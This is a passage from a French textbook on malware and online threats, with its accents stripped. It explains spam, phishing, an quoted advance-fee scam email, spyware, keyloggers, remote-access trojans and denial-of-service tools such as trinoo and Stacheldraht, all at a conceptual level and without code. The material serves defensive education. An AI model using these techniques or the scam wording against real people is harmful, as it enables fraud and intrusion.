occupez que de la situation actuelle. Ne rveillez pas le pass. 14. Partagez votre savoir. Cest une manire datteindre limmortalit. 15. Soyez tendre avec la Terre. 16. Une fois par an, allez quelque part o vous ntes jamais all auparavant. 17. Souvenez-vous que la meilleure des relations est celle dans laquelle lamour que chacun porte lautre dpasse le besoin que vous avez de lautre. 18. Jugez vos succs daprs ce que vous avez d sacrifier pour les obtenir. 19. Approchez lamour et la cuisine avec un abandon insouciant. TRANSMETTEZ CE COURRIEL MANTRA A AU MOINS 5 PERSONNES ET VOTRE VIE SAMELIORERA. 0-4 personnes :Votre vie samliorera lgrement. 5-9 personnes : Votre vie samliorera selon vos dsirs. 9-14 personnes :Vous aurez au moins 5 surprises dans les 3 prochaines semaines. 15 personnes et plus : Votre vie samliorera de faon drastique et tout ce que vous avez pu rver commencera prendre forme. Je sais aussi que les rves se ralisent vraiment, et je vous assure de mes meilleurs voeux et de mes plus grand efforts en ce sens. Salutations, Dala Lama Figure 1.6 Exemple de chane bonne fortune
Lappt du gain est aussi un prtexte pour de propagation des chanes. Il y a celles qui reprennent les concepts dvelopps dans les appels la solidarit en vous promettant dtre le bnciaire dune partie des sommes promises. Dautres vous prsentent des offres promotionnelles allchantes avec, la cl, des logiciels ou des quipements gratuits dans la mesure ou vous participez la diffusion de linformation.
11
En 2000, Ericsson et Nokia en on fait les frais. Le site Hoaxbuster diffuse leurs dmentis qui nont jamais su totalement stopper la diffusion1. Citons enn dans cette catgorie, les ptitions qui ne contiennent aucune adresse centralisant la collecte mais demandent simplement la signature dun e-mail puis la redistribution vers ses connaissances. Du fait de ce concept, elles narriveront jamais sur les bureaux des personnes qui pourraient tre concernes.
1.2.3 Le spamming
La Commission Nationale de lInformatique et des Liberts (CNIL) donne du spam la dfinition suivante : il sagit de lenvoi massif et parfois rpt de courriers lectroniques non sollicits des personnes avec lesquelles lexpditeur na jamais eu de contact, et dont il a capt ladresse lectronique de faon irrgulire. Nous savons tous quil est extrmement facile et peu coteux datteindre des centaines dindividus au travers du courrier lectronique. Cela na pas chapp aux publicitaires et divers individus peu recommandables qui se cachent souvent derrire une adresse falsie pour inonder nos boites aux lettres. Lexpditeur ne connat pas les destinataires, il ne cible ni ses relations personnelles, ni ses relations professionnelles. Les adresses ont t collectes grande chelle. On retrouve principalement dans ces courriers : des messages caractre commercial, des incitations la visite de site Web, des incitations la prise de contact (pornographie). Outre le dsagrment induit, ces messages provoquent un encombrement de la bande passante et une saturation de nos boites de rception qui, en situation extrme, risquent de bloquer larrive de messages valides. Rentable pour les spammeurs, qui y voient une faon peu coteuse de prospecter massivement de nouveaux clients, cette pratique a un cot pour les internautes, les entreprises et les fournisseurs daccs Internet : cots de connexion, de stockage des messages mais aussi temps pass trier, ltrer, ou grer les problmes techniques engendrs. En juillet 2002, la CNIL ouvrit une boite lettre lectronique permettant aux internautes sen estimant victimes de lui transfrer les messages non sollicits quils recevaient. Il sagissait dvaluer plus prcisment lampleur de phnomne et de proposer des solutions tant techniques que juridiques : Plus de 320 000 messages furent reus en 3 mois de fonctionnement. 85 % des spams taient rdigs en langue anglaise. 8 % taient dorigine asiatique. 7 % taient rdigs en langue franaise, la proportion des autres langues tant ngligeable.
12
Les particuliers semblaient plus particulirement viss par les contenus. 85 % dentre eux proposaient des produits ou des services susceptibles de les intresser tandis que les 15 % restant visaient les besoins dentreprises. Les messages de langue anglaise autres que pornographiques (42 %) concernaient principalement les secteurs de la sant (13 %) et des produits financiers (39 %) alors que ceux rdigs en franais, lexception des offres de services caractre pornographique (55 %), taient moins spcialiss en raison notamment de notre encadrement lgislatif et rglementaire plus strict et de nos habitudes de consommation diffrentes. La pratique du spam semblait essentiellement le fait de petites entreprises utilisant le rseau Internet comme vecteur privilgi de communication commerciale. Dans un communiqu de presse de fvrier 2004, lentreprise Postini indiquait que les courriels indsirables concernaient approximativement 79 % de tous les courriels analyss1. Les statistiques en ligne que lentreprise diffuse de manire continue ne montrent aucune diminution2.
La France nest pas pargne, le groupe franais Secuserve prsente sur son site les rapports de rpartition des menaces constates en France. Ils concernent plusieurs centaines de noms de domaines de clients franais, toute taille, et tout secteur dactivit. Moins pessimiste, il annonce nanmoins plus de 50 % de spam3.
1. Despite new spam law, Postini reports junk e-mail still piling up, communiqu disponible ladresse : http://www.postini.com/press/pr/pr020404.html. 2. Postini Resource Center E-mail Stats : http://www.postini.com/stats/. 3. SecuServe Scurit Internet : http://www.secuserve.com.
13
Le phnomne est devenu si important quil a amen le gouvernement franais lancer un groupe de concertation et daction contre le spam. Il a t install le 16 janvier 2004 et est anim par la Direction du Dveloppement des Mdias (DDM)1. Selon le communiqu de presse ofciel, son objectif est de favoriser la concertation entre les acteurs publics et privs de la lutte contre le spam, et la coordination de leurs actions, en France comme linternational, dans un esprit de responsabilit. Les techniques denvoi massif de courrier non sollicit voluent au l des ans. La plupart des procds utiliss par les spammeurs sont, dans un premier temps, rests conventionnels et imparfaits dans leurs concepts : Utilisation de comptes temporaires. Ils sont ouverts chez des fournisseurs de service Internet. Mis en service par exemple un vendredi, ils peuvent permettre pendant un cours laps de temps des envois massifs. Le week-end pass, et lorsque les plaintes saccumulent, le compte est ferm. Cette pratique nest pas sans risque pour son auteur : pour ouvrir le compte, il faut souvent laisser une adresse et un numro de carte de crdit valable. Utilisation de relais de messagerie ouverts (serveurs relais SMTP ouverts). Ces serveurs sont capables denvoyer des messages en provenance dexpditeurs inconnus vers des destinataires qui nappartiennent pas leur domaine. Ces machines sont connues ou trs vite repres ; il existe des bases de donnes accessibles par interrogation DNS (exemple : Mail Abuse Prevention System, LLC2). Cette seconde pratique est contre par lutilisation de listes noires (blacklists). Celles-ci empchent la rception de tout mail en provenance de ces serveurs non scuriss, non fiables et dangereux.
1. Direction du Dveloppement des Mdias, Dossier Thmatique Spam : http://www.ddm.gouv.fr/dossiers_thematiques/documents/spam00.html. 2. MAPS Mail Abuse Prevention System, LLC : http://www.mail-abuse.com/.
14
Utilisation de serveurs mandataires non scuriss (proxy server HTTP/ SOCKS). Grce au protocole SOCKS, lutilisateur peut se connecter Internet sans tre vu et tout en tant protg de lextrieur. Le trafic se fait par le biais de ports connus mais non scuriss. Cette dernire solution a aussi ses inconvnients : la simple fermeture du port stoppe toute possibilit de trafic et les proxysocks ont tendance apparatre et disparatre assez rapidement. Depuis le milieu de lanne 2003, une technique plus sophistique voie le jour. Pour palier aux inconvnients lists ci dessus, le virus vient maintenant en aide aux spammeurs. Il installe sur les machines quil infecte de mini serveurs mandataires pirates. Les postes des internautes imprudents deviennent ainsi des relais de distribution. Les virus de la famille W32/Sobig@MM ont t des prcurseurs dans ce domaine.
15
Ces messages sont gnralement en anglais, il est plus rare de les rencontrer en franais. Dans le document ci-dessous, jai volontairement tronqu le numro de tlphone et ladresse e-mail de lexpditeur.
From: Junior Sankoh [xxxxxx@yahoo.com] Sent: Friday, January 23, 2004 8:41 PM To: francois_paget@avertlabs.com Subject: [spam] Investment Assistance Bonjour, Cette proposition peut vous paratre trange. Veuillez comprendre que cest la situation que je traverse actuellement qui ma pouss contacter une personne totalement trangre (vous). Permettez-moi de me prsenter ; Je suis citoyen de la Sierra Lone, mon nom est Junior Foday SANKOH. Je viens dhriter dune somme importante dargent et je ne my connais pas en transfert international ni en placement. Jai donc besoin de vous pour maider transfrer et grer cette fortune. Mon dfunt pre Foday Sabanah Sankoh fut chef des rebelles du (R. U. F.), il contrlait toute la zone diamantifre de la Sierra Lone. Avant sa mort le 29 Juillet dernier, il fut arrt, emprisonn et condamn par le gouvernement de mon pays. Mon pre a eu lide ingnieuse de dposer en mon nom dans une socit de scurit et de gardiennage en Rpublique du Bnin ( Afrique de lOuest ) la somme dargent de 50 millions de dollar amricain. Le dpt a t fait depuis 4 ans. Tous les documents originaux concernant ce dpt sont en ma possession en tant quhritier lgitime. Je voudrais que vous mapportiez lassistance ncessaire pour pouvoir rcuprer ce fond et le transfrer hors dAfrique. Jattends impatiemment votre rponse et vous suggre de mappeler sur mon tlphone direct pour plus dexplications. Mes salutations. Junior. Foday SANKOH. Tel : 00229 90 xx xx email : xxxxx@yahoo.fr Figure 1.9 Exemple de scam africain en version franaise
1.2.5 Le phishing
Il sagit dobtenir des donnes sensibles afin de commettre des impostures lidentit et des escroqueries financires. Comme la expliqu Danielle Kaminsky lors du Panorama de la cybercriminalit 20031, le phishing joue sur lillusion et les apparences. Limposture dbute souvent par la rception dun courrier non sollicit, lescroc la ralise en 3 tapes : Il se fait passer pour qui il nest pas (une entreprise connue) pour solliciter les donnes convoites auprs des internautes. Il prsente des contenus fallacieux qui font illusion (motifs voqus, faux liens, fausses pages web, etc.).
1. CLUSIF Panorama de la cybercriminalit anne 2003 : https://www.clusif.asso.fr/fr/production/ouvrages/pdf/PanoCrim2k3-fr.pdf.
16
Une fois les donnes convoites recueillies, il se fait passer pour qui il nest pas (les internautes escroqus) afin de se procurer des services ou des biens (argents, marchandises, papiers didentit et autres documents administratifs). Des courriels sannonant en provenance deBay (site dacheteurs et de vendeurs sur Internet), circulent en avisant les personnes que leur compte semble avoir t pirat.
Les utilisateurs du site sont invits suivre le lien dans le message sils ne veulent pas que leur compte soit suspendu. Ils sont alors re-dirigs vers une page web, miroir du site ofciel. Cette page demande tout dabord le pseudo et le mot de passe. Une fois ceux ci renseigns, un long questionnaire est propos et de nombreuses donnes prives sont demandes. La capture dcran suivante nen est quune petite partie.
17
18
Certains canulars sont cependant difciles dsactiver, ils nhsitent pas modier la conguration de lordinateur pour rapparatre rgulirement. La limite entre farce et programme indsirable ou malveillant est donc troite. Lorsquil peut savrer perturbateur, le canular est gnralement dtect par lanti-virus. Il faudra nanmoins parfois activer certaines options particulires de recherche. Les principaux effets des canulars sont : affichage dun message, une image ou une animation (BlueSprite joke), manipulation du lecteur de CD-ROM (CokeGift joke), simulation de leffacement de fichiers ou du formatage du disque (Fake-Format joke), perturbation daffichage (Flipped joke, IconDance joke, Slider joke), perturbation du fonctionnement de la souris ou du clavier (MouseShoot joke), usurpation didentit sur un programme valide (Habar joke), ouverture intempestive de fentres (LikeWind joke).
19
Figure 1.13 Le puzzle propos par le canular Slider Joke doit tre
20
mise en uvre. Selon son but, elle sera visible ou non par lutilisateur. La premire excution du programme saccompagne souvent dune modication du systme qui permet ensuite une ractivation automatique chaque mise en route de la machine. Dans dautres cas, le programme se termine une fois son but atteint. On retrouve dans cette catgorie des programmes commerciaux indsirables dont lusage a t dtourn, des bombes logiques, des chevaux de Troie et des portes drobes. Il existe aussi des outils de capture dinformation, dattaque rseau et dappropriation de ressource. Les anti-virus ntablissent gnralement pas de distinction et tous ces programmes simples ; ils sont dtects en tant que Trojans.
21
de rechercher des ports TCP/IP vulnrables (Pest-PortScan), de proposer des tests de personnalit (PersonalityTest), de dtruire des donnes en cas dutilisation non autorise de logiciel (FireAnvil). Parfois dutilisation lgitime, certains anti-virus tel que McAfee VirusScan sont capables dafner leur dtection en fonction de critres tels que le nom de chier ; une alerte ntant mise quen cas dutilisation de nom demprunt. Dautres programmes commerciaux indsirables se rencontrent frquemment, il sagit des adwares et des spywares, ils mritent toute notre attention.
Adwares et Spywares
Dun point de vue tymologique, les mots adware (Advertising Software) et spyware (Spying Software) sont des acronymes anglais qui dsignent deux classes particulires de logiciels. ces 2 classes se mlent parfois dautres groupes doutils dorigines diverses : Adware Spyware BHO Hijacker = = = = Ads + ware (logiciel publicitaire). Spy + ware (logiciel espion). Browser Helper Object. Outils de re-direction.
Figure 1.14 Nombre cumul dadwares et de spywares (source PestPatrol1) 1. Pest Patrol Graph Generator : http://research.pestpatrol.com/graphs/form.jsp.
22
Tous ces programmes sont des logiciels provenant de sources commerciales connues. Ils ne peuvent donc pas tre classis comme malveillance. Ce sont cependant des programmes que de nombreux utilisateurs ne souhaitent pas conserver dans leur ordinateur, surtout lorsquils ont t installs dune manire hasardeuse. Cest pour cette raison que de nombreux anti-virus les dtectent dans la mesure ou lutilisateur en prcise le souhait.
Adware Dnomm pubiciel en franais, un adware est un programme qui dirige des publicits cibles vers lordinateur qui le contient. Il observe les habitudes de navigation de linternaute afin de lui fournir des offres adaptes son profil. Cette tche est gnralement mise en uvre aprs un consentement initial. En effet, un adware nest pas un programme auto reproducteur ; cest lutilisateur qui donne son accord au travers dune fentre de dialogue en rpondant positivement une question dont il na pas toujours pris le temps de lire lintgralit du contenu.
Avec la version gratuite v2.6.3 de Kazaa vous recevrez de la publicit envoye par Cydoor et le rseau GAIN comme le laisse sous-entendre linformation Ad Supported .
Certains petits utilitaires gratuits (freeware ou shareware) pour lequel il nest pas demand de droit dusage peuvent sapparenter des adwares. Leurs auteurs en conservent la proprit intellectuelle (copyright) et peroivent une compensation nancire par le biais dun afchage de bannires publicitaires priodiquement renouveles et afches au cour de lutilisation. 20/202 en est un exemple. Il permet de visualiser des images ayant toutes sortes de formats. Il permet aussi de faire des captures dcran, dajouter du texte sur des images, de faire quelques manipulations sur des images, etc. Notons enn quun adware ne collecte pas dinformation personnelle et quil se prsente souvent sous la forme de chiers binaires (.exe ou .dll).
1. Kazaa Media Desktop : http://www.kazaa.com/fr/. 2. HotFreeware : http://www.hotfreeware.com/2020/2020.htm.
23
BHO Browser Helper Objects Un BHO est un programme additionnel Internet Explorer. Il sintgre au navigateur en permettant un tiers de le personnaliser ou dy ajouter des fonctionnalits complmentaires.
Sa procdure dinstallation, volontaire ou non, utilise la technologie ActiveX. Il se prsente gnralement comme une barre de boutons (en anglais, toolbar) ajoute au menu standard. Le BHO est toujours cens apporter une fonctionnalit ou un confort supplmentaire.
Hyjackers Ce sont des routines altrant le comportement et/ou les rglages du navigateur de linternaute. Bases sur des contrles ActiveX ou des langages de script tels que JavaScript, les modifications induites sont gnralement anodines, mais agaantes si elles ne sont pas souhaites. Citons par exemple la modification de la page de dmarrage ou lajout de nouvelles entres dans la liste de favoris. Spyware Lune des premires dfinitions du spyware a t donne par Steve Gibson1. Il nous indique quun spyware est un logiciel qui utilise en tche de fond la connexion Internet dun utilisateur sans quil en ait connaissance ou sans sa permission explicite.
1. http://grc.com/optout.htm.
24
Cette dnition nest plus assez restrictive. Elle tend inclure, outre lensemble des lments dcrits ci-dessus, certains vers ou chevaux de Troie. Aujourdhui un spyware se dni comme un programme conu dans le but de collecter des donnes personnelles et de les envoyer son concepteur ou un tiers via Internet sans avoir obtenu au pralable une autorisation explicite et claire desdits utilisateurs. Les spywares ne doivent donc pas tre confondus avec les adwares, les BHO ou les outils de redirection. Bien que parfois dplaisants, ces derniers ne transmettent aucune donne personnelle. Les spywares peuvent tre aussi tord confondus avec les cookies et les web-bugs qui ne sont pas des programmes mais des chiers de donnes ou des micro images dont la mise en uvre peut tre nanmoins dtourne et parfois porter atteinte la vie prive. Il existe 2 types de spywares se diffrenciant selon lobjectif vis : Le commerce ; ces programmes se rapprochent des adwares. Ils ne se contentent pas de rediriger des publicits cibles mais transmettent des informations nominatives et personnelles pour poursuivre leur approche marketing par email, courrier postal ou tlphone. Les socits collectrices peuvent ensuite monnayer les fichiers constitus. Le renseignement ; il sagit de logiciels espions capable denregistrer secrtement et de retransmettre les oprations effectues sur lordinateur sans que son utilisateur en ait la connaissance. Ils sont souvent proposs pour des buts louables tels que le contrle parental et dtourns de leur but premier.
Caractristiques majeures Dans le tableau 1.3, les BHO et les outils de redirection sont considrs comme des adwares. Si certains dentre eux contiennent des fonctionnalits de capture et denvoi dinformations personnelles, ce sont des spywares.
25
Tableau 1.3 Comparaison entre adware et spyware Adware Source commerciale connue Profite de la connexion Internet de lutilisateur Consomme de la bande passante Internet de manire invisible Observe les habitudes de navigation de linternaute afin de lui fournir des bannires publicitaires adaptes son profil Modifie ou ajoute des fonctionnalits au navigateur Modifie le comportement et les rglages du navigateur Tlcharge et installe des programmes et autres objets de manire arbitraire En cas de transfert de donnes, la prservation de lanonymat est annonce (et respecte). Si des donnes personnelles sont transmises lutilisateur en a t inform (EULA End user Licence Agreements) Collecte et transmet des donnes statistiques (habitudes de navigation) et/ou personnelles un site distant sans que la victime en ait connaissance et sans son autorisation explicite (objectif commercial). Aucune clause de confidentialit nest fournie par dfaut Se conduit comme outil despionnage en interceptant la globalit de lactivit effectu sur la machine de la victime (objectif de renseignement) Oui Oui Oui Oui Parfois Parfois Oui Oui Spyware Oui Oui Oui Oui, mais pas uniquement Parfois Parfois Oui Non
Non
Non
Parfois
Quelques autres caractristiques sont frquemment rencontres : Absence de logiciel de dsinstallation. Impossibilit daccder une quelconque panneau de configuration. Impossibilit de dsactiver temporairement ou dfinitivement le produit. Appropriation du carnet dadresse de messagerie pour un envoi en masse de messages.
Bombes logiques
Une bombe logique est un programme contenant une fonction malveillante cache gnralement associe un dclenchement diffr. Cette fonction, souvent destructrice, a t rajoute de faon illicite un programme hte. Il conservera son apparence anodine et son fonctionnement correct jusquau moment choisi par le programmeur malveillant. Le dclenchement qui seffectue un moment dtermin peut exploiter la date du systme. Il peut aussi utiliser un critre plus pernicieux tel que la disparition dun enregistrement dans une base de donne.
26
Il sagit gnralement dune attaque cible vers une entreprise dans le but de la paralyser au moins momentanment. Ces attaques sont peu nombreuses, mais leur impact est trs lev. Elles restent souvent inconnues du public. Citons titre dexemple le chantage dun ex-employ dune socit de service visant une application de trsorerie utilise par une centaine de clients. La direction nayant pas cd, le criminel a effectivement dclench le processus. Le total des pertes fut estim lpoque environ 800 000 Euros (5MF)1.
1. LAMERE Jean Marc & TOURLY Jacques, La scurit des petits et moyens systmes informatiques, DUNOD informatique, ISBN 2-04-018721-9, 1988.
27
Les renieurs de mot de passe Ils sont galement connus sous lappellation anglaise de PassWord Stealer (PWS). Ils sactivent lors dune action spcifique, tel que lapparition dune fentre dont lintitul contient une partie dun mot cl (LOGon, PASsword). Sur une courte priode, les donnes saisies au clavier sont alors enregistres, stockes ou envoyes vers un site distant. PWS-Hooker.dll est lun dentre eux.
Certains outils sont spcialiss dans lanalyse des caches mmoire et des chiers systme pour y rechercher ce type dinformation. Selon la socit Panda1, Maa.a en est un exemple. Il cible les ordinateurs du type Windows .NET Server/XP/2000/NT.
Dunod La photocopie non autorise est un dlit
Les renieurs de clavier Prenant aussi le nom de keylogger, leur champs dactivit dpasse la collecte prcise dun mot de passe. Selon des critres prdfinis, ils sont capables denregistrer toutes les frappes claviers et lments dclenchs. Cest tout le travail ralis par lutilisateur de la machine qui peut ainsi tre enregistr. Ces logiciels sactivent et se remettent en sommeil la demande et distance. Citons comme exemple, KeyLogSSKC : il est capable de capturer les frappes clavier pour ensuite expdier le fichier de capture par e-mail.
28
Applets Java hostiles Les applets Java sont gnralement tlchargs pour accomplir des tches comme lanimation de composants graphiques, la maintenance dinformations, le calcul de certains rsultats avant retransmission de ceux-ci vers le serveur dont lapplet est originaire. Lorsque un navigateur dtecte larrive de lun dentre eux sur la machine locale, il lenvoie automatiquement vers son processeur virtuel appel Java Virtual Machine (JVM). Celui-ci interprtera le code compil reu et le rendra excutable.
Seul le runtime JVM est ncessaire la bonne excution du programme. Le code y est enferm dans un espace mmoire propre dnomm sandbox. Tout accs aux ressources critiques lui est normalement interdit. Les plus clbres applets Java hostiles furent crs en 1996 par Marc D. LaDue1. Les navigateurs actuels y sont insensibles. Aujourdhui, cest au travers de brches de scurit que se manifestent ces applets hostiles. Quatre types dattaques sont toujours possibles : Modification du systme ou des donnes. Atteinte la personne (envoie de mails subversifs). Saturation ou dtournement des ressources systme. Perturbations diverses (messages, sons).
29
Parmi ces vulnrabilits, citons celles qui pourraient permettre : dexcuter le code de son choix sur une machine via un mail au format HTML ou une page Web (MS99-031, MS01-0381). Le virus VBS/XPMsg@MM utilise cette vulnrabilit en se propageant via Microsoft Outlook. Il faut diffrencier cette vulnrabilit de celle utilise par de nombreux autres virus tels que JS/ Kak@M (MS99-032). Alors que ce dernier cre des fichiers sur le disque dur pour ensuite pouvoir se propager, VBS/XPMsg@MM ne cre aucun fichier. de lire des fichiers de lordinateur dune personne visitant le site Web ou de lire du contenu Web provenant dun rseau informatique priv si ce site est visit par un ordinateur depuis ce mme Intranet (MS00-011, MS00-081).
Objets Active-X hostiles Les composants Active-X peuvent jouer le mme rle que les applets. Ils ne fonctionnent cependant que sur Microsoft Internet Explorer (ou Netscape si un plug-in spcifique est install).
la diffrence des applets qui doivent tre crit en Java, un objet Active-X peut tre dvelopp en nimporte quel langage (C, C++, Visual Basic ou Java). Il sexcute sur le poste client de lutilisateur et peut tout y faire. Il noffre comme scurit que la conance que vous avez en son dveloppeur. Cest insufsant et cest pour cette raison quun processus de signature a t mis en place. Il permet de connatre la socit mettrice de lobjet avant den accepter ou non lexcution. Parmi les premiers objets Active-X hostiles, citons : AX/Exploder (1996) : il stoppe Windows 95 et teint la machine. AX/Runner : il excute une copie de linterprteur de commande (command.com). Les objets Active-X hostiles sont directement lis des brches de scurit qui ont fait lobjet de correctifs. Parmi ces vulnrabilits, citons celles qui pourraient permettre : dexcuter un fichier distant (MS99-007), de faire oprer par une page Web des actions non autorises sur lordinateur qui la charge (MS99-032). Ce peut tre par exemple limplantation dune porte drobe telle que BackDoor-JW apparue en dcembre 2000. Elle tait distribue depuis un site de jeux. De nombreux virus utilisent galement cette vulnrabilit comme nous aurons loccasion de le voir dans les chapitres suivants.
1. Lensemble des Bulletins de Scurit Microsoft est disponible partir des pages : http://www.microsoft.com/technet/security/current.aspx (site US), http://www.microsoft.com/france/securite/bulletins_securite/default.asp (site FR).
30
De tlcharger un fichier distant dont on connat le nom et lemplacement (MS99-011 & MS99-042), dinclure un excutable non sr dans un courrier lectronique et de le faire passer pour une pice jointe sre. Par le biais dune srie dtapes complexes, lexcutable non sr serait ensuite excut dans certaines conditions, si lutilisateur ouvrait la pice jointe (MS99-048), dinstaller des fichiers sur la machine locale et den modifier les lments de sa configuration (MS00-034). Cest ainsi que le virus VBS/Davinia@MM fut diffus aprs la simple visualisation dune page Web.
Les logiciels de connexion tlphoniques furtifs galement connu sous le terme de dialers, leur installation est souvent conscutive la visite dun site caractre pornographique (Porn-Dialer). Certains virus tel que W32/Ultimax.worm vhiculent aussi ces programmes.
Installs sur votre ordinateur, il vont chercher court-circuiter lappel votre Fournisseur dAccs Internet (FAI) pour tablir une communication surtaxe au prot du propritaire du numro appel.
Les relais de spam Installs sur la machine linsu de son propritaire, ces mini serveurs permettent lmission du courrier non sollicit vers leurs victimes potentielles. Cette technique vite aux spammeurs de se faire eux-mmes dtecter et bloquer par un fournisseur daccs.
Aujourdhui, de nombreux spammers se font aider par des auteurs de virus. Ils inltrent ainsi des ordinateurs vulnrables et les transforment secrtement en serveur relais SMTP. Lun de ces outils, Proxy-Guzu, est un mini serveur de courrier pilotable distance. Il permet aux e-marchands indlicats et peu scrupuleux denvoyer anonymement des millions de courriers publicitaires de manire totalement anonyme.
31
Dispositifs de prise de main distance Ces programmes permettent dobtenir un accs non autoris sur des quipements qui contiennent un cheval de Troie ou une porte drobe qui leur est compatible. Il sagit ici du logiciel client dune application client/serveur. Deux ordinateurs entrent donc en jeu ; le premier pilote le processus, le second est la cible sur laquelle a t pralablement install, puis excut, le serveur (le cheval de Troie ou la backdoor).
Le nombre de ces dispositifs ne cesse daugmenter. Cette tendance dbute en 1998. Cette anne l, toute une srie doutils furtifs de prise de main distance sont galement mis disposition sur Internet. Les plus connus furent Back Orice et Socket de Troie (ou socket 2.3). Ce furent des prcurseurs. Ils ont t aujourdhui rejoints par de nombreux autres produits. Une telle prise de contrle distance est parfois lgitime (opration de tlmaintenance), mais dans le cas dun acte de piratage, le propritaire de la machine cible est inconscient de la menace qui pse sur lui. Il aura excut son insu le programme serveur qui, une fois install, sera gnralement capable de se lancer automatiquement chaque nouveau dmarrage de la machine. Pour tromper limprudent, il lui aura t prsent comme un jeu, un anti-virus ou un utilitaire quelconque. Dans dautres cas, et comme nous lavons dj signal, cest un virus qui pourra lavoir vhicul. Dun point de vue pratique, le pirate interroge le rseau gnralement au travers dune adresse IP. Si celle ci correspond une cible lcoute, la connexion seffectue au travers du port TCP/IP que le serveur maintient ouvert. Une fois sous son contrle, tout est possible : Affichage des caractristiques systme de la machine et de son environnement rseau. Contrle des processus systme. Accs total a la base de registres. Listing en clair des mots de passe. Redmarrage de la machine. Accs total au disque, exploration des rpertoires et visualisation du contenu des fichiers. Excution de programmes. Transfert de fichiers avec possibilit de compression. Ouverture dune boite de dialogue. Surveillance des activits clavier. Opration multimdia (son, clip vido). Montage et dmontage de ressources rseau. Gestion des ports TCP/IP, rsolution des noms de machine et des adresses IP.
32
Les renieurs de trac Ils interceptent les donnes qui transitent sur le rseau. En mode broadcasting, toute donne qui circule, arrive lentre de toutes les cartes rseau des machines connectes. Seules les donnes destines au PC sont lues, les autres sont ignores. Des logiciels de type sniffer permettent linterception et lanalyse de ces trames qui devraient rester inexploites.
La plupart de ces outils sont ddis la recherche de mots de passe ou dadresses IP. titre dexemple, Sniff-ICQ.WPD permet de dcouvrir ladresse IP dutilisateurs utilisant la messagerie instantane (ICQ1).
Les outils pour deni de service (DoS) Ces programmes sont conus pour gnrer des arrts de service en exploitant des faiblesses de larchitecture rseau ou des protocoles. Il existe divers types dattaques :
La saturation par dluge de donnes (flooding). Envoyes trs rapidement et en grand nombre, la machine cible ne pourra toutes les traiter, et finira par se dconnecter du rseau. On connat : Lenvoi de paquets IP de grosse taille (FdoS-SCRAwaked), Lenvoi massif de paquets UDP (FdoS-Udp.102), Lenvoi massif de requtes ICMP echo-request ou smurfing. Cette attaque consiste se faire passer pour le serveur cible en falsifiant sa propre adresse IP (spoofing) puis envoyer les requtes vers plusieurs classes dadresses IP autorises. En retour, les machines rpondent au serveur qui se trouve inond de connexions (DoS-Smurf),
33
Les outils de plantage Windows (en anglais, nuker). Citons comme exemple ceux permettant lenvoi rptitif de paquets dinformations sur le port 139 dune machine Windows-95. Ils entranent laffichage du trop connu cran bleu qui oblige redmarrer (FdoS-BloodLust), Lenvoi massif de SMS (SMSFlood), Lenvoi massif de message pour faire saturer un correspondant ICQ (FdoS/ ICQRevenge). La saturation par demande de connexion. On parle ici de dni de service distribu (DDoS Distributed Denial of Service), Dans un premier temps, il sagit de prendre le contrle de plusieurs machines loignes, et dy placer un programme client (souvent appel zombie). Ensuite, lun des pirates utilise un programme matre qui contrle tous les zombies. Il lance une attaque convergente vers une mme cible en linondant de paquets. Parmi les outils qui permettent de lancer de telles attaques, citons trinoo (ou trin00), TFN (Tribe Flood Network) et Stacheldraht. Une autre technique ne ncessite quune seule machine. Elle consiste falsifier son adresse IP en utilisant des sries dadresses de machines autorises et en envoyant des rafales de demandes de connexion pour chacune de ces adresses. Le dbordement de tampon. Cest lenvoi la machine cible des donnes dune taille suprieure la capacit dun paquet. Celui-ci alors fractionn pour lenvoi sera rassembl par la machine cible. Cest alors quune faille du protocole IP entranera le dbordement des variables internes (FdoS/Pestil.20).
Les craqueurs de mot de passe La technique consiste faire de nombreux essais jusqu la russite du processus. Certains outils utilisent des listes de mots prdfinies et modifiables. Les scanners de port Ils peuvent permettre de reprer les ports TCP/IP ouverts sur une machine pour ensuite mener une attaque plus prcise. Ils aident un pirate en lui indiquant comment procder pour pntrer une machine (Pest-PortScan).
34
Les vers et les virus forment eux seuls la famille des programmes auto reproducteurs, on les retrouve au premier rang des infections informatiques. En 1988, lpoque du ver RTM (du nom de son auteur: Robert Tappan Morris), la distinction entre ver et virus est gnralement acquise mme si elle apparat parfois des plus nes. Des dnitions prcises sont tablies par les scientiques de lpoque. Peter Denning1 explique quun ver est un programme capable de fonctionner de manire indpendante. Il se propage de machine en machine au travers des connexions rseau. Un ver ne modifie aucun programme, il peut cependant transporter avec lui des portions de code qui pourront, par la suite, effectuer un telle activit. John Shoch et Jon Hupp2 prcisent quun ver na pas forcment une connotation malveillante. Il peut accomplir un travail utile dans un rseau. De son ct, Fred Cohen3 dfini un virus comme un programme capable dinfecter dautres programmes en les modifiant pour y inclure une copie de lui-mme qui pourra avoir lgrement volue. Le virus ne peut pas fonctionner dune manire indpendante. Lexcution du programme hte est ncessaire son activation. Par analogie avec son cousin biologique, il se multiplie au sein de lenvironnement quil cible et entrane corruption, perturbation, et/ou destruction. Tout code malveillant mme de se propager est souvent considr comme un virus. Selon cette thorie, les vers ne sont alors quun sous-ensemble dans la famille des virus. Cest le parti pris que nous prendrons dans ce livre. Il nexiste cependant pas de consensus dans la communaut anti-virale et diverses dnitions contradictoires circulent.
1. DENNING Peter (1990), Computers Under Attack. Intruders, worms, and viruses, ACM PRESS. New York. ISBN:0-201-53067-8. 2. SHOCH John. F. & HUPP Jon. A. (1982), The Worm Programs Early Experience with a Distributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180. 3. COHEN Fred. (1984 et 1987), Computer Viruses Theory and Experiments, DOD/NBS 7th Conf. on Computer Security. IFIP-sec 84. Computers & Security, Volume 6 (1987), pp 22-35.
2
Historique de linnocence la tentation criminelle
Alors que pour le grand public, lapparition des premiers virus remonte aux annes 1980, ce chapitre va tout dabord nous montrer que la mise en uvre de programmes auto reproducteurs est bien plus ancienne quelle ny parait. Elle remonte une poque ou les anctres des virus ne sappelaient pas encore des vers. Les mathmaticiens et les auteurs de science-ction laissant la place aux premiers crateurs, tout fut rapidement imagin ou invent. Face eux les concepteurs dantivirus alignrent leurs premiers outils. Au l des ans, linvestigation et le challenge incitrent les uns et les autres accentuer leurs recherches. Diverses formes virales auront leur priode de gloire puis tomberont en dsutude. lapproche de lan 2000, la mainmise des virus sur les outils bureautiques tels que Microsoft Ofce et leur propagation au travers de la messagerie lectronique seront deux thmes rcurrents marquant la n du sicle. Saidant dautres innovations, le micro-ordinateur isol et la toile Internet deviendront deux terrains dexpriences qui niront par se rejoindre. Les jeunes irresponsables dhier commenceront disparatre laissant la place au professionnalisme. La criminalit lancienne cherchera sadapter au monde virtuel.
36
